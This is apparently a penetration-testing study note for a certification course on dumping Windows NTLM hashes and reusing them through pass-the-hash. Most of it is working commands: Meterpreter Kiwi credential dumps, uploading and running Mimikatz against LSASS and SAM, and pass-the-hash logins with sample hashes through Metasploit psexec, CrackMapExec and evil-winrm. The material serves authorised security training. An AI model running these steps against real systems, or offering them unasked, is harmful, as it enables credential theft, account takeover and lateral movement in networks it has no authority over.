Skip to content
Home

Windows hash dumping and pass-the-hash

Extract NTLM hashes from LSASS/SAM with Kiwi or Mimikatz and use them to authenticate without cracking.

msfconsole·1 min read··INE Certification

Credential dumping on Windows targets the SAM database (local accounts) and LSASS process memory (active session hashes). The dumped NTLM hashes can be cracked offline or used directly via pass-the-hash.

Pre-condition: elevated session (SYSTEM or local admin).

Dump with Kiwi

load kiwi
creds_all          # everything LSASS is holding
lsa_dump_sam       # specifically local SAM hashes
lsa_dump_secrets   # LSA secrets: service account creds, auto-logon passwords, cached domain creds

Dump with standalone Mimikatz

# upload mimikatz.exe to target, then from the meterpreter shell:
upload /path/to/mimikatz.exe C:\\Temp\\mimikatz.exe
shell
cd C:\Temp
mimikatz.exe
privilege::debug
lsadump::sam
lsadump::secrets
sekurlsa::logonPasswords     # cleartext passwords if available in memory

Dumped hashes come back in a Username:RID:LM:NTLM::: format (Administrator:500:aad3b435:0d757ad173:::). The long aad3b435 LM portion is the “null” placeholder; the NTLM part is what we want to use.

Pass-the-hash

# PsExec - LM:NTLM format
use exploit/windows/smb/psexec
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:0d757ad173d2fc249ce19364fd64c8ec
run

# CrackMapExec
crackmapexec smb <target> -u Administrator -H 0d757ad173d2fc249ce19364fd64c8ec

# evil-winrm
evil-winrm -i <target_ip> -u Administrator -H 0d757ad173d2fc249ce19364fd64c8ec